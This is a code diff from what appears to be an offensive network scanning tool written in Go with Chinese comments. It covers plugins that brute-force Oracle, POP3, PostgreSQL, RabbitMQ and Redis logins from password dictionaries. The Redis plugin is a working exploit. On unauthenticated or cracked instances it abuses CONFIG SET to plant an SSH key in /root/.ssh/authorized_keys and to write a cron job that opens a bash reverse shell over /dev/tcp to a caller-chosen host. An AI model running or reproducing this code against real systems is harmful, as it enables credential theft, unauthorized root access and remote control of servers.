 

Plugins/Oracle.go

@@ -9,39 +9,49 @@ import (
 	"time"
 )
 
-// OracleScan 执行Oracle服务扫描
 func OracleScan(info *Common.HostInfo) (tmperr error) {
 	if Common.DisableBrute {
 		return
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["oracle"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["oracle"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行Oracle连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := OracleConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -50,6 +60,9 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success && err == nil {
+						successLog := fmt.Sprintf("Oracle %v:%v %v %v",
+							info.Host, info.Ports, user, pass)
+						Common.LogSuccess(successLog)
 						return nil
 					}
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
@@ -65,17 +78,17 @@ func OracleScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
 				}
-
 				break // 如果不需要重试，跳出重试循环
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/POP3.go

@@ -16,32 +16,43 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["pop3"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["pop3"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行POP3连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := POP3Conn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -50,7 +61,6 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success && err == nil {
-						// 连接成功
 						successLog := fmt.Sprintf("POP3服务 %v:%v 用户名: %v 密码: %v",
 							info.Host, info.Ports, user, pass)
 						Common.LogSuccess(successLog)
@@ -69,17 +79,17 @@ func POP3Scan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
 				}
-
 				break // 如果不需要重试，跳出重试循环
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/Postgres.go

@@ -16,32 +16,43 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	totalUsers := len(Common.Userdict["postgresql"])
+	totalPass := len(Common.Passwords)
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
+	tried := 0
+	total := totalUsers * totalPass
 
 	// 遍历所有用户名密码组合
 	for _, user := range Common.Userdict["postgresql"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行PostgreSQL连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := PostgresConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -50,6 +61,9 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
 				case result := <-done:
 					err = result.err
 					if result.success && err == nil {
+						successLog := fmt.Sprintf("PostgreSQL %v:%v %v %v",
+							info.Host, info.Ports, user, pass)
+						Common.LogSuccess(successLog)
 						return nil
 					}
 				case <-time.After(time.Duration(Common.Timeout) * time.Second):
@@ -65,17 +79,17 @@ func PostgresScan(info *Common.HostInfo) (tmperr error) {
 					// 检查是否需要重试
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue // 继续重试
 					}
 				}
-
 				break // 如果不需要重试，跳出重试循环
 			}
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried))
 	return tmperr
 }
 

Plugins/RabbitMQ.go

@@ -16,28 +16,32 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
 	}
 
 	maxRetries := Common.MaxRetries
-	starttime := time.Now().Unix()
+
+	Common.LogDebug(fmt.Sprintf("开始扫描 %v:%v", info.Host, info.Ports))
+	Common.LogDebug("尝试默认账号 guest/guest")
 
 	// 先测试默认账号 guest/guest
 	user, pass := "guest", "guest"
 	for retryCount := 0; retryCount < maxRetries; retryCount++ {
-		// 检查是否超时
-		if time.Now().Unix()-starttime > int64(Common.Timeout) {
-			return fmt.Errorf("扫描超时")
+		if retryCount > 0 {
+			Common.LogDebug(fmt.Sprintf("第%d次重试默认账号: guest/guest", retryCount+1))
 		}
 
 		// 执行RabbitMQ连接
 		done := make(chan struct {
 			success bool
 			err     error
-		})
+		}, 1)
 
 		go func() {
 			success, err := RabbitMQConn(info, user, pass)
-			done <- struct {
+			select {
+			case done <- struct {
 				success bool
 				err     error
-			}{success, err}
+			}{success, err}:
+			default:
+			}
 		}()
 
 		// 等待结果或超时
@@ -62,7 +66,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
 
 			if retryErr := Common.CheckErrs(err); retryErr != nil {
 				if retryCount == maxRetries-1 {
-					return err
+					continue
 				}
 				continue
 			}
@@ -70,30 +74,42 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
 		break
 	}
 
+	// 计算总尝试次数
+	totalUsers := len(Common.Userdict["rabbitmq"])
+	totalPass := len(Common.Passwords)
+	total := totalUsers * totalPass
+	tried := 0
+
+	Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
+
 	// 遍历其他用户名密码组合
 	for _, user := range Common.Userdict["rabbitmq"] {
 		for _, pass := range Common.Passwords {
+			tried++
 			pass = strings.Replace(pass, "{user}", user, -1)
-
-			// 检查是否超时
-			if time.Now().Unix()-starttime > int64(Common.Timeout) {
-				return fmt.Errorf("扫描超时")
-			}
+			Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
 
 			// 重试循环
 			for retryCount := 0; retryCount < maxRetries; retryCount++ {
+				if retryCount > 0 {
+					Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
+				}
+
 				// 执行RabbitMQ连接
 				done := make(chan struct {
 					success bool
 					err     error
-				})
+				}, 1)
 
 				go func(user, pass string) {
 					success, err := RabbitMQConn(info, user, pass)
-					done <- struct {
+					select {
+					case done <- struct {
 						success bool
 						err     error
-					}{success, err}
+					}{success, err}:
+					default:
+					}
 				}(user, pass)
 
 				// 等待结果或超时
@@ -118,7 +134,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
 
 					if retryErr := Common.CheckErrs(err); retryErr != nil {
 						if retryCount == maxRetries-1 {
-							return err
+							continue
 						}
 						continue
 					}
@@ -128,6 +144,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
 		}
 	}
 
+	Common.LogDebug(fmt.Sprintf("扫描完成，共尝试 %d 个组合", tried+1)) // +1 包含默认账号
 	return tmperr
 }
 

Plugins/Redis.go

@@ -8,7 +8,6 @@ import (
 	"net"
 	"os"
 	"strings"
-	"sync"
 	"time"
 )
 
@@ -18,232 +17,241 @@ var (
 )
 
 // RedisScan 执行Redis服务扫描
-func RedisScan(info *Common.HostInfo) (tmperr error) {
+func RedisScan(info *Common.HostInfo) error {
+	Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
 	starttime := time.Now().Unix()
 
 	// 先尝试无密码连接
 	flag, err := RedisUnauth(info)
 	if flag && err == nil {
-		return err
+		Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s:%v", info.Host, info.Ports))
+		return nil
 	}
 
 	if Common.DisableBrute {
-		return
+		Common.LogDebug("暴力破解已禁用，结束扫描")
+		return nil
 	}
 
-	maxRetries := Common.MaxRetries
-	threads := Common.BruteThreads
-
-	// 创建任务通道
-	taskChan := make(chan string, len(Common.Passwords))
-	resultChan := make(chan error, threads)
-
-	// 生成所有密码任务
+	// 遍历密码字典
 	for _, pass := range Common.Passwords {
+		// 检查是否超时
+		if time.Now().Unix()-starttime > int64(Common.Timeout) {
+			errMsg := fmt.Sprintf("Redis扫描超时: %s:%v", info.Host, info.Ports)
+			Common.LogError(errMsg)
+			return fmt.Errorf(errMsg)
+		}
+
+		// 替换密码模板
 		pass = strings.Replace(pass, "{user}", "redis", -1)
-		taskChan <- pass
-	}
-	close(taskChan)
+		Common.LogDebug(fmt.Sprintf("尝试密码: %s", pass))
 
-	// 启动工作线程
-	var wg sync.WaitGroup
-	for i := 0; i < threads; i++ {
-		wg.Add(1)
-		go func() {
-			defer wg.Done()
+		// 密码重试逻辑
+		var lastErr error
+		for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
+			// 如果不是第一次重试，添加重试日志
+			if retryCount > 0 {
+				Common.LogDebug(fmt.Sprintf("第 %d 次重试: %s", retryCount+1, pass))
+			}
 
-			for pass := range taskChan {
-				// 重试循环
-				for retryCount := 0; retryCount < maxRetries; retryCount++ {
-					// 检查是否超时
-					if time.Now().Unix()-starttime > int64(Common.Timeout) {
-						resultChan <- fmt.Errorf("扫描超时")
-						return
+			// 执行Redis连接
+			done := make(chan struct {
+				success bool
+				err     error
+			})
+
+			go func() {
+				success, err := RedisConn(info, pass)
+				done <- struct {
+					success bool
+					err     error
+				}{success, err}
+			}()
+
+			// 等待结果或超时
+			var connErr error
+			select {
+			case result := <-done:
+				if result.success {
+					Common.LogSuccess(fmt.Sprintf("Redis登录成功 %s:%v [%s]",
+						info.Host, info.Ports, pass))
+					return nil
+				}
+				connErr = result.err
+			case <-time.After(time.Duration(Common.Timeout) * time.Second):
+				connErr = fmt.Errorf("连接超时")
+			}
+
+			// 处理错误情况
+			if connErr != nil {
+				lastErr = connErr
+				errMsg := fmt.Sprintf("Redis尝试失败 %s:%v [%s] %v",
+					info.Host, info.Ports, pass, connErr)
+				Common.LogError(errMsg)
+
+				// 检查是否需要重试
+				if retryErr := Common.CheckErrs(connErr); retryErr != nil {
+					if retryCount == Common.MaxRetries-1 {
+						Common.LogDebug(fmt.Sprintf("达到最大重试次数: %s", pass))
+						break
 					}
-
-					// 执行Redis连接
-					done := make(chan struct {
-						success bool
-						err     error
-					})
-
-					go func(pass string) {
-						success, err := RedisConn(info, pass)
-						done <- struct {
-							success bool
-							err     error
-						}{success, err}
-					}(pass)
-
-					// 等待结果或超时
-					var err error
-					select {
-					case result := <-done:
-						err = result.err
-						if result.success && err == nil {
-							resultChan <- nil
-							return
-						}
-					case <-time.After(time.Duration(Common.Timeout) * time.Second):
-						err = fmt.Errorf("连接超时")
-					}
-
-					// 处理错误情况
-					if err != nil {
-						errlog := fmt.Sprintf("Redis %v:%v %v %v",
-							info.Host, info.Ports, pass, err)
-						Common.LogError(errlog)
-
-						// 检查是否需要重试
-						if retryErr := Common.CheckErrs(err); retryErr != nil {
-							if retryCount == maxRetries-1 {
-								resultChan <- err
-								return
-							}
-							continue // 继续重试
-						}
-					}
-
-					break // 如果不需要重试，跳出重试循环
+					continue // 继续重试
 				}
 			}
-			resultChan <- nil
-		}()
-	}
 
-	// 等待所有线程完成
-	go func() {
-		wg.Wait()
-		close(resultChan)
-	}()
+			break // 如果不需要重试，跳出重试循环
+		}
 
-	// 检查结果
-	for err := range resultChan {
-		if err != nil {
-			tmperr = err
-			if retryErr := Common.CheckErrs(err); retryErr != nil {
-				return err
-			}
+		// 如果最后一次尝试遇到需要重试的错误，返回该错误
+		if lastErr != nil && Common.CheckErrs(lastErr) != nil {
+			Common.LogDebug(fmt.Sprintf("Redis扫描中断: %v", lastErr))
+			return lastErr
 		}
 	}
 
-	return tmperr
-}
-
-// RedisConn 尝试Redis连接
-func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
-	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-
-	// 建立TCP连接
-	conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
-	if err != nil {
-		return false, err
-	}
-	defer conn.Close()
-
-	// 设置超时
-	if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
-		return false, err
-	}
-
-	// 发送认证命令
-	if _, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))); err != nil {
-		return false, err
-	}
-
-	// 读取响应
-	reply, err := readreply(conn)
-	if err != nil {
-		return false, err
-	}
-
-	// 认证成功
-	if strings.Contains(reply, "+OK") {
-		// 获取配置信息
-		dbfilename, dir, err = getconfig(conn)
-		if err != nil {
-			result := fmt.Sprintf("Redis %s %s", realhost, pass)
-			Common.LogSuccess(result)
-			return true, err
-		}
-
-		result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
-		Common.LogSuccess(result)
-
-		// 尝试利用
-		err = Expoilt(realhost, conn)
-		return true, err
-	}
-
-	return false, err
+	Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s:%v", info.Host, info.Ports))
+	return nil
 }
 
 // RedisUnauth 尝试Redis未授权访问检测
 func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
-	flag = false
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
+	Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
 
 	// 建立TCP连接
 	conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
 	if err != nil {
 		Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
-		return flag, err
+		return false, err
 	}
 	defer conn.Close()
 
 	// 设置读取超时
 	if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
 		Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
-		return flag, err
+		return false, err
 	}
 
 	// 发送info命令测试未授权访问
-	_, err = conn.Write([]byte("info\r\n"))
-	if err != nil {
+	Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
+	if _, err = conn.Write([]byte("info\r\n")); err != nil {
 		Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
-		return flag, err
+		return false, err
 	}
 
 	// 读取响应
 	reply, err := readreply(conn)
 	if err != nil {
 		Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
-		return flag, err
+		return false, err
+	}
+	Common.LogDebug(fmt.Sprintf("收到响应，长度: %d", len(reply)))
+
+	// 检查未授权访问
+	if !strings.Contains(reply, "redis_version") {
+		Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
+		return false, nil
 	}
 
-	// 判断是否存在未授权访问
-	if strings.Contains(reply, "redis_version") {
-		flag = true
-		// 获取Redis配置信息
+	// 发现未授权访问，获取配置
+	Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问，尝试获取配置", realhost))
+	dbfilename, dir, err := getconfig(conn)
+	if err != nil {
+		result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
+		Common.LogSuccess(result)
+		return true, err
+	}
+
+	// 输出详细信息
+	result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
+	Common.LogSuccess(result)
+
+	// 尝试漏洞利用
+	Common.LogDebug(fmt.Sprintf("尝试Redis %s 漏洞利用", realhost))
+	if err = Expoilt(realhost, conn); err != nil {
+		Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
+	}
+
+	return true, nil
+}
+
+// RedisConn 尝试Redis连接
+func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
+	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
+	Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
+
+	// 建立TCP连接
+	conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
+	if err != nil {
+		Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
+		return false, err
+	}
+	defer conn.Close()
+
+	// 设置超时
+	if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
+		Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
+		return false, err
+	}
+
+	// 发送认证命令
+	authCmd := fmt.Sprintf("auth %s\r\n", pass)
+	Common.LogDebug("发送认证命令")
+	if _, err = conn.Write([]byte(authCmd)); err != nil {
+		Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
+		return false, err
+	}
+
+	// 读取响应
+	reply, err := readreply(conn)
+	if err != nil {
+		Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
+		return false, err
+	}
+	Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
+
+	// 认证成功
+	if strings.Contains(reply, "+OK") {
+		Common.LogDebug("认证成功，获取配置信息")
+
+		// 获取配置信息
 		dbfilename, dir, err = getconfig(conn)
 		if err != nil {
-			result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
+			result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
 			Common.LogSuccess(result)
-			return flag, err
+			Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
+			return true, err
 		}
 
-		// 输出详细信息
-		result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
+		result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
+			realhost, pass, dir, dbfilename)
 		Common.LogSuccess(result)
 
-		// 尝试漏洞利用
+		// 尝试利用
+		Common.LogDebug("尝试Redis利用")
 		err = Expoilt(realhost, conn)
 		if err != nil {
-			Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
+			Common.LogDebug(fmt.Sprintf("利用失败: %v", err))
 		}
+		return true, err
 	}
 
-	return flag, err
+	Common.LogDebug("认证失败")
+	return false, err
 }
 
 // Expoilt 尝试Redis漏洞利用
 func Expoilt(realhost string, conn net.Conn) error {
+	Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
+
 	// 如果配置为不进行测试则直接返回
 	if Common.DisableRedis {
+		Common.LogDebug("Redis漏洞利用已禁用")
 		return nil
 	}
 
 	// 测试目录写入权限
+	Common.LogDebug("测试目录写入权限")
 	flagSsh, flagCron, err := testwrite(conn)
 	if err != nil {
 		Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
@@ -256,6 +264,7 @@ func Expoilt(realhost string, conn net.Conn) error {
 
 		// 如果指定了密钥文件则尝试写入
 		if Common.RedisFile != "" {
+			Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
 			writeok, text, err := writekey(conn, Common.RedisFile)
 			if err != nil {
 				Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
@@ -267,7 +276,11 @@ func Expoilt(realhost string, conn net.Conn) error {
 			} else {
 				Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
 			}
+		} else {
+			Common.LogDebug("未指定SSH密钥文件，跳过写入")
 		}
+	} else {
+		Common.LogDebug("SSH目录不可写")
 	}
 
 	// 定时任务写入测试
@@ -276,6 +289,7 @@ func Expoilt(realhost string, conn net.Conn) error {
 
 		// 如果指定了shell命令则尝试写入定时任务
 		if Common.RedisShell != "" {
+			Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
 			writeok, text, err := writecron(conn, Common.RedisShell)
 			if err != nil {
 				Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
@@ -287,76 +301,94 @@ func Expoilt(realhost string, conn net.Conn) error {
 			} else {
 				Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
 			}
+		} else {
+			Common.LogDebug("未指定shell命令，跳过写入定时任务")
 		}
+	} else {
+		Common.LogDebug("Cron目录不可写")
 	}
 
 	// 恢复数据库配置
+	Common.LogDebug("开始恢复数据库配置")
 	if err = recoverdb(dbfilename, dir, conn); err != nil {
 		Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
+	} else {
+		Common.LogDebug("数据库配置恢复成功")
 	}
 
+	Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
 	return err
 }
 
 // writekey 向Redis写入SSH密钥
 func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
+	Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
 	flag = false
 
 	// 设置文件目录为SSH目录
-	_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
-	if err != nil {
+	Common.LogDebug("设置目录: /root/.ssh/")
+	if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
+		Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
 		return flag, text, err
 	}
-	text, err = readreply(conn)
-	if err != nil {
+	if text, err = readreply(conn); err != nil {
+		Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 		return flag, text, err
 	}
 
 	// 设置文件名为authorized_keys
 	if strings.Contains(text, "OK") {
-		_, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n"))
-		if err != nil {
+		Common.LogDebug("设置文件名: authorized_keys")
+		if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
+			Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
 			return flag, text, err
 		}
-		text, err = readreply(conn)
-		if err != nil {
+		if text, err = readreply(conn); err != nil {
+			Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 			return flag, text, err
 		}
 
 		// 读取并写入SSH密钥
 		if strings.Contains(text, "OK") {
 			// 读取密钥文件
+			Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
 			key, err := Readfile(filename)
 			if err != nil {
 				text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
+				Common.LogDebug(text)
 				return flag, text, err
 			}
 			if len(key) == 0 {
 				text = fmt.Sprintf("密钥文件 %s 为空", filename)
+				Common.LogDebug(text)
 				return flag, text, err
 			}
+			Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
 
 			// 写入密钥
-			_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
-			if err != nil {
+			Common.LogDebug("写入密钥内容")
+			if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
+				Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
 				return flag, text, err
 			}
-			text, err = readreply(conn)
-			if err != nil {
+			if text, err = readreply(conn); err != nil {
+				Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 				return flag, text, err
 			}
 
 			// 保存更改
 			if strings.Contains(text, "OK") {
-				_, err = conn.Write([]byte("save\r\n"))
-				if err != nil {
+				Common.LogDebug("保存更改")
+				if _, err = conn.Write([]byte("save\r\n")); err != nil {
+					Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
 					return flag, text, err
 				}
-				text, err = readreply(conn)
-				if err != nil {
+				if text, err = readreply(conn); err != nil {
+					Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 					return flag, text, err
 				}
 				if strings.Contains(text, "OK") {
+					Common.LogDebug("SSH密钥写入成功")
 					flag = true
 				}
 			}
@@ -368,45 +400,51 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
 	if len(text) > 50 {
 		text = text[:50]
 	}
-
+	Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
 	return flag, text, err
 }
 
 // writecron 向Redis写入定时任务
 func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
+	Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
 	flag = false
 
 	// 首先尝试Ubuntu系统的cron路径
-	_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n"))
-	if err != nil {
+	Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
+	if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
+		Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
 		return flag, text, err
 	}
-	text, err = readreply(conn)
-	if err != nil {
+	if text, err = readreply(conn); err != nil {
+		Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 		return flag, text, err
 	}
 
 	// 如果Ubuntu路径失败，尝试CentOS系统的cron路径
 	if !strings.Contains(text, "OK") {
-		_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
-		if err != nil {
+		Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
+		if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
+			Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
 			return flag, text, err
 		}
-		text, err = readreply(conn)
-		if err != nil {
+		if text, err = readreply(conn); err != nil {
+			Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 			return flag, text, err
 		}
 	}
 
 	// 如果成功设置目录，继续后续操作
 	if strings.Contains(text, "OK") {
+		Common.LogDebug("成功设置cron目录")
+
 		// 设置数据库文件名为root
-		_, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n"))
-		if err != nil {
+		Common.LogDebug("设置文件名: root")
+		if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
+			Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
 			return flag, text, err
 		}
-		text, err = readreply(conn)
-		if err != nil {
+		if text, err = readreply(conn); err != nil {
+			Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
 			return flag, text, err
 		}
 
@@ -414,33 +452,38 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
 			// 解析目标主机地址
 			target := strings.Split(host, ":")
 			if len(target) < 2 {
+				Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
 				return flag, "主机地址格式错误", err
 			}
 			scanIp, scanPort := target[0], target[1]
+			Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
 
 			// 写入反弹shell的定时任务
+			Common.LogDebug("写入定时任务")
 			cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
 				scanIp, scanPort)
